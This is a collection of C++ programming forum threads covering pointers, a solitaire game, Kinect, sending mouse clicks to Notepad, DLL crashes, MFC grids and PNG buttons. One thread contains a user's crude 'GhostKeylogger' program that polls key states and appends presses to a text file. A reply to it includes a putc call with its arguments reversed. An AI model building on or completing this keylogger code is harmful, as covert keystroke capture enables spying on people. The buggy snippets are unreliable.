|
here, p is a pointer to int*.that means p can point to an int pointer and that pointer will point an int type of data.
when you do this , (int**) new int (5) ; you are actually forcing (casting) p to point to an int pointer (memory address) with value 5 ..(It actually should not be done because you don't know anything about memory address 0x5 )... however and as you made p to store something(a memory address with value 5) you also allocated memory for that purpose ......
and the typecasting was necessary as first case is very different than the second case....
in the second case --- ap is an int pointer and with new command you allocated 4 bytes of memory for ap .. and ap is now pointing to that memory location and as you passed 20 in the constructor so now that memory address is storing 20....
But, p is not an int pointer ..it's a pointer to int pointer ...so it should be passed a valid memory address in the constructor call .. not an int(what you did -- by passing 5)..that's why you had to cast...
and the answer to your last question is ... p is just a pointer (it maybe a pointer to another pointer but it still is a pointer)..and when we want to know what value a pointer is pointing to we put * (deference op.) before that pointer (only once)!
Hope,you got that
|
|
|
|
|
I am a beginner in programming and have to write a solitaire program(C++) just like what we play in windows. I have no idea where or how I should start my program. I never write a game in any computer language and I have already stuck at the beginning for 2 weeks. Can you help??
btw I just need to finish the game logic and give it to my teammate to work on graphic(GUI).
now I just write a few line about checking whether the move in those 7 piles are valid or not and create 52 cards in a class by using array but cannot generate each card uniquely.
|
|
|
|
|
That is not a simple question to answer in a forum like this. You should start with a couple of classes:
Card - contains properties such as value and suit.
Player - contains a List of cards.
Some general methods:
A randomiser that deals the cards around.
Play that selects a card and figures out where it can be placed
etc.
Quite a lot to think about before you start coding, or worrying about the UI.
|
|
|
|
|
Dear all.
I am using kinect SDK2.0. Kinect sensor 2.0; visual studio 2012 & openCV 2.4.10 installed in my system.\
I am new to this kinect platform.I am looking for c++ code test some simple code. I have tested code with SDK2.0 . those are working fine. But i didnt find the code where they add images features resources . code to track object
I would like to detect object like in youtube video
<a href="https://www.youtube.com/watch?v=bSeFrPrqZ2A">object tracking using opencv</a>[<a href="https://www.youtube.com/watch?v=bSeFrPrqZ2A" target="_blank" title="New Window">^</a>]
|
|
|
|
|
Hi all,
i need to simulate mouse events using hooks.
I read the the msdn articles about hook and how they are used but I felt that they are complex!!
could any one help me or guide me on how to do the following:
- just send one mouse event to a window that is not mine. The window is a running application such as notepad, so I just need to send the right click for example to it!
thanks for any help
|
|
|
|
|
Hooking is about capturing messages that are sent ot other applications. If you want to send a message then you just need to use the SendMessage function[^]. Although you will first need to get the handle to the Window via FindWindow[^].
|
|
|
|
|
Hi Richard,,
I used the SendMessage() function many and many times, what it did is only close the handled application!!
I used also, PostMessage() and it did the same!
I used sendInput() and there is no response at all..
that's why I went to hook..
otherwise If there is a reliable way I will not go to hooking at all..
could you help in this please,,
if you need some code i will post, but if you provide me with a reliable code that can really send the mouse event to the application without moving the cursor, I will be thankful for you really
|
|
|
|
|
Omarkkk wrote: I used the SendMessage() function many and many times, what it did is only close the handled application Then you need to do some debugging to find out why, and what you are doing wrong. Sorry, I have no sample code for you, I have not actually used this feature for some time.
|
|
|
|
|
I did some debugging now,,
it says "unable to read memory" for the handled window!!
do you know why is that ??
thanks,
|
|
|
|
|
What says it, where, in your code, in the debugger, what are you trying to do at that point ... ?
|
|
|
|
|
hi Richard
switch (LOWORD(wParam)){
case 1:
HWND handle = FindWindow(NULL,TEXT("untitled - notepad"));
if (!handle){
::MessageBox (hwnd,TEXT("Window Not Found"),TEXT("Window Not Found"),MB_OK);
}
else
{
::SetActiveWindow(handle);
send message:
SendMessage(handle, MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE,NULL,NULL);
SendMessage(handle, MOUSEEVENTF_LEFTDOWN,NULL,NULL);
SendMessage(handle, MOUSEEVENTF_LEFTUP,NULL,NULL);
the "handle" is handling notepad application..
I checked the handling number using spy++ and it's the same which appears in the debugger which is 0x005e0656
the debugger says
- handle 0x005e0656 {unused=??? } HWND__ *
unused <Unable to read memory>
could you take a look on that please ..
thanks
|
|
|
|
|
MOUSEEVENTF_MOVE is not a valid Windows message; you are just sending nonsense values.
The debugger message is just telling you that the Handle's value does not point to a valid portion of memory. This is expected since handles are arbitrary values used by the Windows OS.
|
|
|
|
|
do you have any idea of how we can solve this problem ??
|
|
|
|
|
You need to understand the use of all the windows messages which all have names beginning WM_ , and are documented in MSDN. The links I gave you earlier will lead you to some of them. You can also look at the SendInput function[^] which may make it easier to achieve what you want.
|
|
|
|
|
1) extract question.zip
2) runtime\debug
3) run sample.exe
4) click "button1"
program is crash
why crash? why crash?
DLL program is vc6.0 MFC extension dll
EXE program is VS2013 dialog base program
i wonder why terminate program.
please modify source dll or exe
I prefer to modify the source rather than the exe dll.
If there is no way
[question]
1) vs2013 Do Not use the extension dll created in vc6.0?
2) modify dll program?
3) modify exe program?
4) both modify? What do you need to fix?
download link
|
|
|
|
|
Sorry, this site does not provide a service like this. You need to use your debugger to identify where the crash occurs and why. You can then come back here with the details, and people will try to help you.
|
|
|
|
|
|
I'm not sure that this is anything to do with managed C++/CLI, however ...
If you have a problem with some code that you downloaded from the internet, then you need to go back and talk to the person or people who provided it. But something called workingbutcrap is not very inspiring. And if you have issues with an article here on CodeProject then you should use the forum at the end of the article.
|
|
|
|
|
Hi All,
I'm facing the following strange problem using MFC Grid Control (by Chris Maunder) in my VS2010 MFC application:
I've included the CGridCtrl control in a dialog in order to let the user to edit data. It works fine but sometime when I open the dialog the cells content is not displayed but it's covered by the cell background color.
Unfortunately I can't solve the problem because it only happens randomly. I tried to call Invalidate() to both the CGridCtrl control and the dialog but it doesn't solve.
Any help would be greatly appreciated.
Thanks in advance.
Gianni
|
|
|
|
|
Please do not post the same question in multiple forums.
|
|
|
|
|
I apologize but I realized that I posted the question in the wrong forum (Managed C++/CLI) and I could not find a way to remove it. Sorry.
|
|
|
|
|
hi all
Has someone got sample codes (including description) on how to create an Inputbox in C++?
Thanks in advance
|
|
|
|
|
I want to save the ASCII characters, in this case i started with the "☺" when someone press alt+1.
I dont know how to save that type of characters in the txt. What can i do?
Ive searched like a month about this, in all kind of forums, asking my teachers or people who knows and nobody can answer me this.
A possible solution was to make all again and use HOOK functions and some others like: WH_KEYBOARD_LL. Well... i dont know how to use any of that functions, so its a big problem.
PD: Im from Argentina, sorry for my bad english.
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31
void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32];
void GhostKeylogger(FILE *txt)
{
for(int i=0; i<255; i++){
if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
{
if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
{
fprintf(txt,"~"); break;
}}
if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
{
fprintf(txt,"%c\t",0x01);
}
}
}
int main(){
FILE *txt;
while(TRUE){
if(txt != NULL){
FILE *txt = fopen("Experimento.txt", "a+");
Sleep(30);
GhostKeylogger(txt);
fclose(txt);
}
}
}
|
|
|
|
|
First of all if you want handle characters that are out of standard printable set, and could be filtered by text handling, open the file as binary:
FILE *txt = fopen("Experimento.txt", "ab+");
In this case you have to manually handle end of line adding "\r\n" at end of each line isteade of the simple "\n", but you are free to store the whole set untouched.
Anyway even using standard text file opening there could be a couple of issues that you have to deal with. Just to be sure that the correct code has been saved in the output file open it in a binary editor and verify that the code 0x01 has been stored in the file, if it is not there you can try to open the file in binary mode, as reported above, or you can use putc instead of fprintf:
putc(txt,0x01);
But if the file is correct and 0x01 is in but you cannot visualize it the problem is a different one, if you can't show it in a console window or in a text editor the problem is that the ascii code you expect is not in the codepage used on your system. In this case the things get somewhat harder...
|
|
|
|
|
Hi,
I am trying the display the transparent ".png" image on the button it is working fine if i have the proper resource file but the situation is like that i have to get the image from a file and Load it on the button how do i do it please any kindly help me.
|
|
|
|